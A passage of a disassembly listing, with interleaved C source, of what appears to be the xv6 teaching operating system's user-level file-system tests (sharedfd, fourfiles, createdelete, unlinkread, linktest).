f8 09 cmp $0x9,%eax fda: 76 ce jbe faa <sharedfd+0x134> while((n = read(fd, buf, sizeof(buf))) > 0){ fdc: 83 ec 04 sub $0x4,%esp fdf: 6a 0a push $0xa fe1: 8d 45 d6 lea -0x2a(%ebp),%eax fe4: 50 push %eax fe5: ff 75 e8 pushl -0x18(%ebp) fe8: e8 f6 2e 00 00 call 3ee3 <read> fed: 83 c4 10 add $0x10,%esp ff0: 89 45 e0 mov %eax,-0x20(%ebp) ff3: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) ff7: 7f a8 jg fa1 <sharedfd+0x12b> } } close(fd); ff9: 83 ec 0c sub $0xc,%esp ffc: ff 75 e8 pushl -0x18(%ebp) fff: e8 ef 2e 00 00 call 3ef3 <close> 1004: 83 c4 10 add $0x10,%esp unlink("sharedfd"); 1007: 83 ec 0c sub $0xc,%esp 100a: 68 6a 49 00 00 push $0x496a 100f: e8 07 2f 00 00 call 3f1b <unlink> 1014: 83 c4 10 add $0x10,%esp if(nc == 10000 && np == 10000){ 1017: 81 7d f0 10 27 00 00 cmpl $0x2710,-0x10(%ebp) 101e: 75 1d jne 103d <sharedfd+0x1c7> 1020: 81 7d ec 10 27 00 00 cmpl $0x2710,-0x14(%ebp) 1027: 75 14 jne 103d <sharedfd+0x1c7> printf(1, "sharedfd ok\n"); 1029: 83 ec 08 sub $0x8,%esp 102c: 68 eb 49 00 00 push $0x49eb 1031: 6a 01 push $0x1 1033: e8 06 30 00 00 call 403e <printf> 1038: 83 c4 10 add $0x10,%esp 103b: eb 1a jmp 1057 <sharedfd+0x1e1> } else { printf(1, "sharedfd oops %d %d\n", nc, np); 103d: ff 75 ec pushl -0x14(%ebp) 1040: ff 75 f0 pushl -0x10(%ebp) 1043: 68 f8 49 00 00 push $0x49f8 1048: 6a 01 push $0x1 104a: e8 ef 2f 00 00 call 403e <printf> 104f: 83 c4 10 add $0x10,%esp exit(); 1052: e8 74 2e 00 00 call 3ecb <exit> } } 1057: c9 leave 1058: c3 ret 00001059 <fourfiles>: // four processes write different files at the same // time, to test block allocation. void fourfiles(void) { 1059: 55 push %ebp 105a: 89 e5 mov %esp,%ebp 105c: 83 ec 38 sub $0x38,%esp int fd, pid, i, j, n, total, pi; char *names[] = { "f0", "f1", "f2", "f3" }; 105f: c7 45 c8 0d 4a 00 00 movl $0x4a0d,-0x38(%ebp) 1066: c7 45 cc 10 4a 00 00 movl $0x4a10,-0x34(%ebp) 106d: c7 45 d0 13 4a 00 00 movl $0x4a13,-0x30(%ebp) 1074: c7 45 d4 16 4a 00 00 movl $0x4a16,-0x2c(%ebp) char *fname; printf(1, "fourfiles test\n"); 107b: 83 ec 08 sub $0x8,%esp 107e: 68 19 4a 00 00 push $0x4a19 1083: 6a 01 push $0x1 1085: e8 b4 2f 00 00 call 403e <printf> 108a: 83 c4 10 add $0x10,%esp for(pi = 0; pi < 4; pi++){ 108d: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp) 1094: e9 f0 00 00 00 jmp 1189 <fourfiles+0x130> fname = names[pi]; 1099: 8b 45 e8 mov -0x18(%ebp),%eax 109c: 8b 44 85 c8 mov -0x38(%ebp,%eax,4),%eax 10a0: 89 45 e4 mov %eax,-0x1c(%ebp) unlink(fname); 10a3: 83 ec 0c sub $0xc,%esp 10a6: ff 75 e4 pushl -0x1c(%ebp) 10a9: e8 6d 2e 00 00 call 3f1b <unlink> 10ae: 83 c4 10 add $0x10,%esp pid = fork(); 10b1: e8 0d 2e 00 00 call 3ec3 <fork> 10b6: 89 45 e0 mov %eax,-0x20(%ebp) if(pid < 0){ 10b9: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) 10bd: 79 17 jns 10d6 <fourfiles+0x7d> printf(1, "fork failed\n"); 10bf: 83 ec 08 sub $0x8,%esp 10c2: 68 95 44 00 00 push $0x4495 10c7: 6a 01 push $0x1 10c9: e8 70 2f 00 00 call 403e <printf> 10ce: 83 c4 10 add $0x10,%esp exit(); 10d1: e8 f5 2d 00 00 call 3ecb <exit> } if(pid == 0){ 10d6: 83 7d e0 00 cmpl $0x0,-0x20(%ebp) 10da: 0f 85 a5 00 00 00 jne 1185 <fourfiles+0x12c> fd = open(fname, O_CREATE | O_RDWR); 10e0: 83 ec 08 sub $0x8,%esp 10e3: 68 02 02 00 00 push $0x202 10e8: ff 75 e4 pushl -0x1c(%ebp) 10eb: e8 1b 2e 00 00 call 3f0b <open> 10f0: 83 c4 10 add $0x10,%esp 10f3: 89 45 dc mov %eax,-0x24(%ebp) if(fd < 0){ 10f6: 83 7d dc 00 cmpl $0x0,-0x24(%ebp) 10fa: 79 17 jns 1113 <fourfiles+0xba> printf(1, "create failed\n"); 10fc: 83 ec 08 sub $0x8,%esp 10ff: 68 29 4a 00 00 push $0x4a29 1104: 6a 01 push $0x1 1106: e8 33 2f 00 00 call 403e <printf> 110b: 83 c4 10 add $0x10,%esp exit(); 110e: e8 b8 2d 00 00 call 3ecb <exit> } memset(buf, '0'+pi, 512); 1113: 8b 45 e8 mov -0x18(%ebp),%eax 1116: 83 c0 30 add $0x30,%eax 1119: 83 ec 04 sub $0x4,%esp 111c: 68 00 02 00 00 push $0x200 1121: 50 push %eax 1122: 68 a0 8a 00 00 push $0x8aa0 1127: e8 04 2c 00 00 call 3d30 <memset> 112c: 83 c4 10 add $0x10,%esp for(i = 0; i < 12; i++){ 112f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 1136: eb 42 jmp 117a <fourfiles+0x121> if((n = write(fd, buf, 500)) != 500){ 1138: 83 ec 04 sub $0x4,%esp 113b: 68 f4 01 00 00 push $0x1f4 1140: 68 a0 8a 00 00 push $0x8aa0 1145: ff 75 dc pushl -0x24(%ebp) 1148: e8 9e 2d 00 00 call 3eeb <write> 114d: 83 c4 10 add $0x10,%esp 1150: 89 45 d8 mov %eax,-0x28(%ebp) 1153: 81 7d d8 f4 01 00 00 cmpl $0x1f4,-0x28(%ebp) 115a: 74 1a je 1176 <fourfiles+0x11d> printf(1, "write failed %d\n", n); 115c: 83 ec 04 sub $0x4,%esp 115f: ff 75 d8 pushl -0x28(%ebp) 1162: 68 38 4a 00 00 push $0x4a38 1167: 6a 01 push $0x1 1169: e8 d0 2e 00 00 call 403e <printf> 116e: 83 c4 10 add $0x10,%esp exit(); 1171: e8 55 2d 00 00 call 3ecb <exit> for(i = 0; i < 12; i++){ 1176: 83 45 f4 01 addl $0x1,-0xc(%ebp) 117a: 83 7d f4 0b cmpl $0xb,-0xc(%ebp) 117e: 7e b8 jle 1138 <fourfiles+0xdf> } } exit(); 1180: e8 46 2d 00 00 call 3ecb <exit> for(pi = 0; pi < 4; pi++){ 1185: 83 45 e8 01 addl $0x1,-0x18(%ebp) 1189: 83 7d e8 03 cmpl $0x3,-0x18(%ebp) 118d: 0f 8e 06 ff ff ff jle 1099 <fourfiles+0x40> } } for(pi = 0; pi < 4; pi++){ 1193: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp) 119a: eb 09 jmp 11a5 <fourfiles+0x14c> wait(); 119c: e8 32 2d 00 00 call 3ed3 <wait> for(pi = 0; pi < 4; pi++){ 11a1: 83 45 e8 01 addl $0x1,-0x18(%ebp) 11a5: 83 7d e8 03 cmpl $0x3,-0x18(%ebp) 11a9: 7e f1 jle 119c <fourfiles+0x143> } for(i = 0; i < 2; i++){ 11ab: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 11b2: e9 d4 00 00 00 jmp 128b <fourfiles+0x232> fname = names[i]; 11b7: 8b 45 f4 mov -0xc(%ebp),%eax 11ba: 8b 44 85 c8 mov -0x38(%ebp,%eax,4),%eax 11be: 89 45 e4 mov %eax,-0x1c(%ebp) fd = open(fname, 0); 11c1: 83 ec 08 sub $0x8,%esp 11c4: 6a 00 push $0x0 11c6: ff 75 e4 pushl -0x1c(%ebp) 11c9: e8 3d 2d 00 00 call 3f0b <open> 11ce: 83 c4 10 add $0x10,%esp 11d1: 89 45 dc mov %eax,-0x24(%ebp) total = 0; 11d4: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) while((n = read(fd, buf, sizeof(buf))) > 0){ 11db: eb 4a jmp 1227 <fourfiles+0x1ce> for(j = 0; j < n; j++){ 11dd: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 11e4: eb 33 jmp 1219 <fourfiles+0x1c0> if(buf[j] != '0'+i){ 11e6: 8b 45 f0 mov -0x10(%ebp),%eax 11e9: 05 a0 8a 00 00 add $0x8aa0,%eax 11ee: 0f b6 00 movzbl (%eax),%eax 11f1: 0f be c0 movsbl %al,%eax 11f4: 8b 55 f4 mov -0xc(%ebp),%edx 11f7: 83 c2 30 add $0x30,%edx 11fa: 39 d0 cmp %edx,%eax 11fc: 74 17 je 1215 <fourfiles+0x1bc> printf(1, "wrong char\n"); 11fe: 83 ec 08 sub $0x8,%esp 1201: 68 49 4a 00 00 push $0x4a49 1206: 6a 01 push $0x1 1208: e8 31 2e 00 00 call 403e <printf> 120d: 83 c4 10 add $0x10,%esp exit(); 1210: e8 b6 2c 00 00 call 3ecb <exit> for(j = 0; j < n; j++){ 1215: 83 45 f0 01 addl $0x1,-0x10(%ebp) 1219: 8b 45 f0 mov -0x10(%ebp),%eax 121c: 3b 45 d8 cmp -0x28(%ebp),%eax 121f: 7c c5 jl 11e6 <fourfiles+0x18d> } } total += n; 1221: 8b 45 d8 mov -0x28(%ebp),%eax 1224: 01 45 ec add %eax,-0x14(%ebp) while((n = read(fd, buf, sizeof(buf))) > 0){ 1227: 83 ec 04 sub $0x4,%esp 122a: 68 00 20 00 00 push $0x2000 122f: 68 a0 8a 00 00 push $0x8aa0 1234: ff 75 dc pushl -0x24(%ebp) 1237: e8 a7 2c 00 00 call 3ee3 <read> 123c: 83 c4 10 add $0x10,%esp 123f: 89 45 d8 mov %eax,-0x28(%ebp) 1242: 83 7d d8 00 cmpl $0x0,-0x28(%ebp) 1246: 7f 95 jg 11dd <fourfiles+0x184> } close(fd); 1248: 83 ec 0c sub $0xc,%esp 124b: ff 75 dc pushl -0x24(%ebp) 124e: e8 a0 2c 00 00 call 3ef3 <close> 1253: 83 c4 10 add $0x10,%esp if(total != 12*500){ 1256: 81 7d ec 70 17 00 00 cmpl $0x1770,-0x14(%ebp) 125d: 74 1a je 1279 <fourfiles+0x220> printf(1, "wrong length %d\n", total); 125f: 83 ec 04 sub $0x4,%esp 1262: ff 75 ec pushl -0x14(%ebp) 1265: 68 55 4a 00 00 push $0x4a55 126a: 6a 01 push $0x1 126c: e8 cd 2d 00 00 call 403e <printf> 1271: 83 c4 10 add $0x10,%esp exit(); 1274: e8 52 2c 00 00 call 3ecb <exit> } unlink(fname); 1279: 83 ec 0c sub $0xc,%esp 127c: ff 75 e4 pushl -0x1c(%ebp) 127f: e8 97 2c 00 00 call 3f1b <unlink> 1284: 83 c4 10 add $0x10,%esp for(i = 0; i < 2; i++){ 1287: 83 45 f4 01 addl $0x1,-0xc(%ebp) 128b: 83 7d f4 01 cmpl $0x1,-0xc(%ebp) 128f: 0f 8e 22 ff ff ff jle 11b7 <fourfiles+0x15e> } printf(1, "fourfiles ok\n"); 1295: 83 ec 08 sub $0x8,%esp 1298: 68 66 4a 00 00 push $0x4a66 129d: 6a 01 push $0x1 129f: e8 9a 2d 00 00 call 403e <printf> 12a4: 83 c4 10 add $0x10,%esp } 12a7: 90 nop 12a8: c9 leave 12a9: c3 ret 000012aa <createdelete>: // four processes create and delete different files in same directory void createdelete(void) { 12aa: 55 push %ebp 12ab: 89 e5 mov %esp,%ebp 12ad: 83 ec 38 sub $0x38,%esp enum { N = 20 }; int pid, i, fd, pi; char name[32]; printf(1, "createdelete test\n"); 12b0: 83 ec 08 sub $0x8,%esp 12b3: 68 74 4a 00 00 push $0x4a74 12b8: 6a 01 push $0x1 12ba: e8 7f 2d 00 00 call 403e <printf> 12bf: 83 c4 10 add $0x10,%esp for(pi = 0; pi < 4; pi++){ 12c2: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 12c9: e9 f6 00 00 00 jmp 13c4 <createdelete+0x11a> pid = fork(); 12ce: e8 f0 2b 00 00 call 3ec3 <fork> 12d3: 89 45 ec mov %eax,-0x14(%ebp) if(pid < 0){ 12d6: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 12da: 79 17 jns 12f3 <createdelete+0x49> printf(1, "fork failed\n"); 12dc: 83 ec 08 sub $0x8,%esp 12df: 68 95 44 00 00 push $0x4495 12e4: 6a 01 push $0x1 12e6: e8 53 2d 00 00 call 403e <printf> 12eb: 83 c4 10 add $0x10,%esp exit(); 12ee: e8 d8 2b 00 00 call 3ecb <exit> } if(pid == 0){ 12f3: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 12f7: 0f 85 c3 00 00 00 jne 13c0 <createdelete+0x116> name[0] = 'p' + pi; 12fd: 8b 45 f0 mov -0x10(%ebp),%eax 1300: 83 c0 70 add $0x70,%eax 1303: 88 45 c8 mov %al,-0x38(%ebp) name[2] = '\0'; 1306: c6 45 ca 00 movb $0x0,-0x36(%ebp) for(i = 0; i < N; i++){ 130a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 1311: e9 9b 00 00 00 jmp 13b1 <createdelete+0x107> name[1] = '0' + i; 1316: 8b 45 f4 mov -0xc(%ebp),%eax 1319: 83 c0 30 add $0x30,%eax 131c: 88 45 c9 mov %al,-0x37(%ebp) fd = open(name, O_CREATE | O_RDWR); 131f: 83 ec 08 sub $0x8,%esp 1322: 68 02 02 00 00 push $0x202 1327: 8d 45 c8 lea -0x38(%ebp),%eax 132a: 50 push %eax 132b: e8 db 2b 00 00 call 3f0b <open> 1330: 83 c4 10 add $0x10,%esp 1333: 89 45 e8 mov %eax,-0x18(%ebp) if(fd < 0){ 1336: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 133a: 79 17 jns 1353 <createdelete+0xa9> printf(1, "create failed\n"); 133c: 83 ec 08 sub $0x8,%esp 133f: 68 29 4a 00 00 push $0x4a29 1344: 6a 01 push $0x1 1346: e8 f3 2c 00 00 call 403e <printf> 134b: 83 c4 10 add $0x10,%esp exit(); 134e: e8 78 2b 00 00 call 3ecb <exit> } close(fd); 1353: 83 ec 0c sub $0xc,%esp 1356: ff 75 e8 pushl -0x18(%ebp) 1359: e8 95 2b 00 00 call 3ef3 <close> 135e: 83 c4 10 add $0x10,%esp if(i > 0 && (i % 2 ) == 0){ 1361: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1365: 7e 46 jle 13ad <createdelete+0x103> 1367: 8b 45 f4 mov -0xc(%ebp),%eax 136a: 83 e0 01 and $0x1,%eax 136d: 85 c0 test %eax,%eax 136f: 75 3c jne 13ad <createdelete+0x103> name[1] = '0' + (i / 2); 1371: 8b 45 f4 mov -0xc(%ebp),%eax 1374: 89 c2 mov %eax,%edx 1376: c1 ea 1f shr $0x1f,%edx 1379: 01 d0 add %edx,%eax 137b: d1 f8 sar %eax 137d: 83 c0 30 add $0x30,%eax 1380: 88 45 c9 mov %al,-0x37(%ebp) if(unlink(name) < 0){ 1383: 83 ec 0c sub $0xc,%esp 1386: 8d 45 c8 lea -0x38(%ebp),%eax 1389: 50 push %eax 138a: e8 8c 2b 00 00 call 3f1b <unlink> 138f: 83 c4 10 add $0x10,%esp 1392: 85 c0 test %eax,%eax 1394: 79 17 jns 13ad <createdelete+0x103> printf(1, "unlink failed\n"); 1396: 83 ec 08 sub $0x8,%esp 1399: 68 18 45 00 00 push $0x4518 139e: 6a 01 push $0x1 13a0: e8 99 2c 00 00 call 403e <printf> 13a5: 83 c4 10 add $0x10,%esp exit(); 13a8: e8 1e 2b 00 00 call 3ecb <exit> for(i = 0; i < N; i++){ 13ad: 83 45 f4 01 addl $0x1,-0xc(%ebp) 13b1: 83 7d f4 13 cmpl $0x13,-0xc(%ebp) 13b5: 0f 8e 5b ff ff ff jle 1316 <createdelete+0x6c> } } } exit(); 13bb: e8 0b 2b 00 00 call 3ecb <exit> for(pi = 0; pi < 4; pi++){ 13c0: 83 45 f0 01 addl $0x1,-0x10(%ebp) 13c4: 83 7d f0 03 cmpl $0x3,-0x10(%ebp) 13c8: 0f 8e 00 ff ff ff jle 12ce <createdelete+0x24> } } for(pi = 0; pi < 4; pi++){ 13ce: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 13d5: eb 09 jmp 13e0 <createdelete+0x136> wait(); 13d7: e8 f7 2a 00 00 call 3ed3 <wait> for(pi = 0; pi < 4; pi++){ 13dc: 83 45 f0 01 addl $0x1,-0x10(%ebp) 13e0: 83 7d f0 03 cmpl $0x3,-0x10(%ebp) 13e4: 7e f1 jle 13d7 <createdelete+0x12d> } name[0] = name[1] = name[2] = 0; 13e6: c6 45 ca 00 movb $0x0,-0x36(%ebp) 13ea: 0f b6 45 ca movzbl -0x36(%ebp),%eax 13ee: 88 45 c9 mov %al,-0x37(%ebp) 13f1: 0f b6 45 c9 movzbl -0x37(%ebp),%eax 13f5: 88 45 c8 mov %al,-0x38(%ebp) for(i = 0; i < N; i++){ 13f8: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 13ff: e9 b2 00 00 00 jmp 14b6 <createdelete+0x20c> for(pi = 0; pi < 4; pi++){ 1404: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 140b: e9 98 00 00 00 jmp 14a8 <createdelete+0x1fe> name[0] = 'p' + pi; 1410: 8b 45 f0 mov -0x10(%ebp),%eax 1413: 83 c0 70 add $0x70,%eax 1416: 88 45 c8 mov %al,-0x38(%ebp) name[1] = '0' + i; 1419: 8b 45 f4 mov -0xc(%ebp),%eax 141c: 83 c0 30 add $0x30,%eax 141f: 88 45 c9 mov %al,-0x37(%ebp) fd = open(name, 0); 1422: 83 ec 08 sub $0x8,%esp 1425: 6a 00 push $0x0 1427: 8d 45 c8 lea -0x38(%ebp),%eax 142a: 50 push %eax 142b: e8 db 2a 00 00 call 3f0b <open> 1430: 83 c4 10 add $0x10,%esp 1433: 89 45 e8 mov %eax,-0x18(%ebp) if((i == 0 || i >= N/2) && fd < 0){ 1436: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 143a: 74 06 je 1442 <createdelete+0x198> 143c: 83 7d f4 09 cmpl $0x9,-0xc(%ebp) 1440: 7e 21 jle 1463 <createdelete+0x1b9> 1442: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 1446: 79 1b jns 1463 <createdelete+0x1b9> printf(1, "oops createdelete %s didn't exist\n", name); 1448: 83 ec 04 sub $0x4,%esp 144b: 8d 45 c8 lea -0x38(%ebp),%eax 144e: 50 push %eax 144f: 68 88 4a 00 00 push $0x4a88 1454: 6a 01 push $0x1 1456: e8 e3 2b 00 00 call 403e <printf> 145b: 83 c4 10 add $0x10,%esp exit(); 145e: e8 68 2a 00 00 call 3ecb <exit> } else if((i >= 1 && i < N/2) && fd >= 0){ 1463: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1467: 7e 27 jle 1490 <createdelete+0x1e6> 1469: 83 7d f4 09 cmpl $0x9,-0xc(%ebp) 146d: 7f 21 jg 1490 <createdelete+0x1e6> 146f: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 1473: 78 1b js 1490 <createdelete+0x1e6> printf(1, "oops createdelete %s did exist\n", name); 1475: 83 ec 04 sub $0x4,%esp 1478: 8d 45 c8 lea -0x38(%ebp),%eax 147b: 50 push %eax 147c: 68 ac 4a 00 00 push $0x4aac 1481: 6a 01 push $0x1 1483: e8 b6 2b 00 00 call 403e <printf> 1488: 83 c4 10 add $0x10,%esp exit(); 148b: e8 3b 2a 00 00 call 3ecb <exit> } if(fd >= 0) 1490: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 1494: 78 0e js 14a4 <createdelete+0x1fa> close(fd); 1496: 83 ec 0c sub $0xc,%esp 1499: ff 75 e8 pushl -0x18(%ebp) 149c: e8 52 2a 00 00 call 3ef3 <close> 14a1: 83 c4 10 add $0x10,%esp for(pi = 0; pi < 4; pi++){ 14a4: 83 45 f0 01 addl $0x1,-0x10(%ebp) 14a8: 83 7d f0 03 cmpl $0x3,-0x10(%ebp) 14ac: 0f 8e 5e ff ff ff jle 1410 <createdelete+0x166> for(i = 0; i < N; i++){ 14b2: 83 45 f4 01 addl $0x1,-0xc(%ebp) 14b6: 83 7d f4 13 cmpl $0x13,-0xc(%ebp) 14ba: 0f 8e 44 ff ff ff jle 1404 <createdelete+0x15a> } } for(i = 0; i < N; i++){ 14c0: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 14c7: eb 38 jmp 1501 <createdelete+0x257> for(pi = 0; pi < 4; pi++){ 14c9: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 14d0: eb 25 jmp 14f7 <createdelete+0x24d> name[0] = 'p' + i; 14d2: 8b 45 f4 mov -0xc(%ebp),%eax 14d5: 83 c0 70 add $0x70,%eax 14d8: 88 45 c8 mov %al,-0x38(%ebp) name[1] = '0' + i; 14db: 8b 45 f4 mov -0xc(%ebp),%eax 14de: 83 c0 30 add $0x30,%eax 14e1: 88 45 c9 mov %al,-0x37(%ebp) unlink(name); 14e4: 83 ec 0c sub $0xc,%esp 14e7: 8d 45 c8 lea -0x38(%ebp),%eax 14ea: 50 push %eax 14eb: e8 2b 2a 00 00 call 3f1b <unlink> 14f0: 83 c4 10 add $0x10,%esp for(pi = 0; pi < 4; pi++){ 14f3: 83 45 f0 01 addl $0x1,-0x10(%ebp) 14f7: 83 7d f0 03 cmpl $0x3,-0x10(%ebp) 14fb: 7e d5 jle 14d2 <createdelete+0x228> for(i = 0; i < N; i++){ 14fd: 83 45 f4 01 addl $0x1,-0xc(%ebp) 1501: 83 7d f4 13 cmpl $0x13,-0xc(%ebp) 1505: 7e c2 jle 14c9 <createdelete+0x21f> } } printf(1, "createdelete ok\n"); 1507: 83 ec 08 sub $0x8,%esp 150a: 68 cc 4a 00 00 push $0x4acc 150f: 6a 01 push $0x1 1511: e8 28 2b 00 00 call 403e <printf> 1516: 83 c4 10 add $0x10,%esp } 1519: 90 nop 151a: c9 leave 151b: c3 ret 0000151c <unlinkread>: // can I unlink a file and still read it? void unlinkread(void) { 151c: 55 push %ebp 151d: 89 e5 mov %esp,%ebp 151f: 83 ec 18 sub $0x18,%esp int fd, fd1; printf(1, "unlinkread test\n"); 1522: 83 ec 08 sub $0x8,%esp 1525: 68 dd 4a 00 00 push $0x4add 152a: 6a 01 push $0x1 152c: e8 0d 2b 00 00 call 403e <printf> 1531: 83 c4 10 add $0x10,%esp fd = open("unlinkread", O_CREATE | O_RDWR); 1534: 83 ec 08 sub $0x8,%esp 1537: 68 02 02 00 00 push $0x202 153c: 68 ee 4a 00 00 push $0x4aee 1541: e8 c5 29 00 00 call 3f0b <open> 1546: 83 c4 10 add $0x10,%esp 1549: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0){ 154c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1550: 79 17 jns 1569 <unlinkread+0x4d> printf(1, "create unlinkread failed\n"); 1552: 83 ec 08 sub $0x8,%esp 1555: 68 f9 4a 00 00 push $0x4af9 155a: 6a 01 push $0x1 155c: e8 dd 2a 00 00 call 403e <printf> 1561: 83 c4 10 add $0x10,%esp exit(); 1564: e8 62 29 00 00 call 3ecb <exit> } write(fd, "hello", 5); 1569: 83 ec 04 sub $0x4,%esp 156c: 6a 05 push $0x5 156e: 68 13 4b 00 00 push $0x4b13 1573: ff 75 f4 pushl -0xc(%ebp) 1576: e8 70 29 00 00 call 3eeb <write> 157b: 83 c4 10 add $0x10,%esp close(fd); 157e: 83 ec 0c sub $0xc,%esp 1581: ff 75 f4 pushl -0xc(%ebp) 1584: e8 6a 29 00 00 call 3ef3 <close> 1589: 83 c4 10 add $0x10,%esp fd = open("unlinkread", O_RDWR); 158c: 83 ec 08 sub $0x8,%esp 158f: 6a 02 push $0x2 1591: 68 ee 4a 00 00 push $0x4aee 1596: e8 70 29 00 00 call 3f0b <open> 159b: 83 c4 10 add $0x10,%esp 159e: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0){ 15a1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 15a5: 79 17 jns 15be <unlinkread+0xa2> printf(1, "open unlinkread failed\n"); 15a7: 83 ec 08 sub $0x8,%esp 15aa: 68 19 4b 00 00 push $0x4b19 15af: 6a 01 push $0x1 15b1: e8 88 2a 00 00 call 403e <printf> 15b6: 83 c4 10 add $0x10,%esp exit(); 15b9: e8 0d 29 00 00 call 3ecb <exit> } if(unlink("unlinkread") != 0){ 15be: 83 ec 0c sub $0xc,%esp 15c1: 68 ee 4a 00 00 push $0x4aee 15c6: e8 50 29 00 00 call 3f1b <unlink> 15cb: 83 c4 10 add $0x10,%esp 15ce: 85 c0 test %eax,%eax 15d0: 74 17 je 15e9 <unlinkread+0xcd> printf(1, "unlink unlinkread failed\n"); 15d2: 83 ec 08 sub $0x8,%esp 15d5: 68 31 4b 00 00 push $0x4b31 15da: 6a 01 push $0x1 15dc: e8 5d 2a 00 00 call 403e <printf> 15e1: 83 c4 10 add $0x10,%esp exit(); 15e4: e8 e2 28 00 00 call 3ecb <exit> } fd1 = open("unlinkread", O_CREATE | O_RDWR); 15e9: 83 ec 08 sub $0x8,%esp 15ec: 68 02 02 00 00 push $0x202 15f1: 68 ee 4a 00 00 push $0x4aee 15f6: e8 10 29 00 00 call 3f0b <open> 15fb: 83 c4 10 add $0x10,%esp 15fe: 89 45 f0 mov %eax,-0x10(%ebp) write(fd1, "yyy", 3); 1601: 83 ec 04 sub $0x4,%esp 1604: 6a 03 push $0x3 1606: 68 4b 4b 00 00 push $0x4b4b 160b: ff 75 f0 pushl -0x10(%ebp) 160e: e8 d8 28 00 00 call 3eeb <write> 1613: 83 c4 10 add $0x10,%esp close(fd1); 1616: 83 ec 0c sub $0xc,%esp 1619: ff 75 f0 pushl -0x10(%ebp) 161c: e8 d2 28 00 00 call 3ef3 <close> 1621: 83 c4 10 add $0x10,%esp if(read(fd, buf, sizeof(buf)) != 5){ 1624: 83 ec 04 sub $0x4,%esp 1627: 68 00 20 00 00 push $0x2000 162c: 68 a0 8a 00 00 push $0x8aa0 1631: ff 75 f4 pushl -0xc(%ebp) 1634: e8 aa 28 00 00 call 3ee3 <read> 1639: 83 c4 10 add $0x10,%esp 163c: 83 f8 05 cmp $0x5,%eax 163f: 74 17 je 1658 <unlinkread+0x13c> printf(1, "unlinkread read failed"); 1641: 83 ec 08 sub $0x8,%esp 1644: 68 4f 4b 00 00 push $0x4b4f 1649: 6a 01 push $0x1 164b: e8 ee 29 00 00 call 403e <printf> 1650: 83 c4 10 add $0x10,%esp exit(); 1653: e8 73 28 00 00 call 3ecb <exit> } if(buf[0] != 'h'){ 1658: 0f b6 05 a0 8a 00 00 movzbl 0x8aa0,%eax 165f: 3c 68 cmp $0x68,%al 1661: 74 17 je 167a <unlinkread+0x15e> printf(1, "unlinkread wrong data\n"); 1663: 83 ec 08 sub $0x8,%esp 1666: 68 66 4b 00 00 push $0x4b66 166b: 6a 01 push $0x1 166d: e8 cc 29 00 00 call 403e <printf> 1672: 83 c4 10 add $0x10,%esp exit(); 1675: e8 51 28 00 00 call 3ecb <exit> } if(write(fd, buf, 10) != 10){ 167a: 83 ec 04 sub $0x4,%esp 167d: 6a 0a push $0xa 167f: 68 a0 8a 00 00 push $0x8aa0 1684: ff 75 f4 pushl -0xc(%ebp) 1687: e8 5f 28 00 00 call 3eeb <write> 168c: 83 c4 10 add $0x10,%esp 168f: 83 f8 0a cmp $0xa,%eax 1692: 74 17 je 16ab <unlinkread+0x18f> printf(1, "unlinkread write failed\n"); 1694: 83 ec 08 sub $0x8,%esp 1697: 68 7d 4b 00 00 push $0x4b7d 169c: 6a 01 push $0x1 169e: e8 9b 29 00 00 call 403e <printf> 16a3: 83 c4 10 add $0x10,%esp exit(); 16a6: e8 20 28 00 00 call 3ecb <exit> } close(fd); 16ab: 83 ec 0c sub $0xc,%esp 16ae: ff 75 f4 pushl -0xc(%ebp) 16b1: e8 3d 28 00 00 call 3ef3 <close> 16b6: 83 c4 10 add $0x10,%esp unlink("unlinkread"); 16b9: 83 ec 0c sub $0xc,%esp 16bc: 68 ee 4a 00 00 push $0x4aee 16c1: e8 55 28 00 00 call 3f1b <unlink> 16c6: 83 c4 10 add $0x10,%esp printf(1, "unlinkread ok\n"); 16c9: 83 ec 08 sub $0x8,%esp 16cc: 68 96 4b 00 00 push $0x4b96 16d1: 6a 01 push $0x1 16d3: e8 66 29 00 00 call 403e <printf> 16d8: 83 c4 10 add $0x10,%esp } 16db: 90 nop 16dc: c9 leave 16dd: c3 ret 000016de <linktest>: void linktest(void) { 16de: 55 push %ebp 16df: 89 e5 mov %esp,%ebp 16e1: 83 ec 18 sub $0x18,%esp int fd; printf(1, "linktest\n"); 16e4: 83 ec 08 sub $0x8,%esp 16e7: 68 a5 4b 00 00 push $0x4ba5 16ec: 6a 01 push $0x1 16ee: e8 4b 29 00 00 call 403e <printf> 16f3: 83 c4 10 add $0x10,%esp unlink("lf1"); 16f6: 83 ec 0c sub $0xc,%esp 16f9: 68 af 4b 00 00 push $0x4baf 16fe: e8 18 28 00 00 call 3f1b <unlink> 1703: 83 c4 10 add $0x10,%esp unlink("lf2"); 1706: 83 ec 0c sub $0xc,%esp 1709: 68 b3 4b 00 00 push $0x4bb3 170e: e8 08 28 00 00 call 3f1b <unlink> 1713: 83 c4 10 add $0x10,%esp fd = open("lf1", O_CREATE|O_RDWR); 1716: 83 ec 08 sub $0x8,%esp 1719: 68 02 02 00 00 push $0x202 171e: 68 af 4b 00 00 push 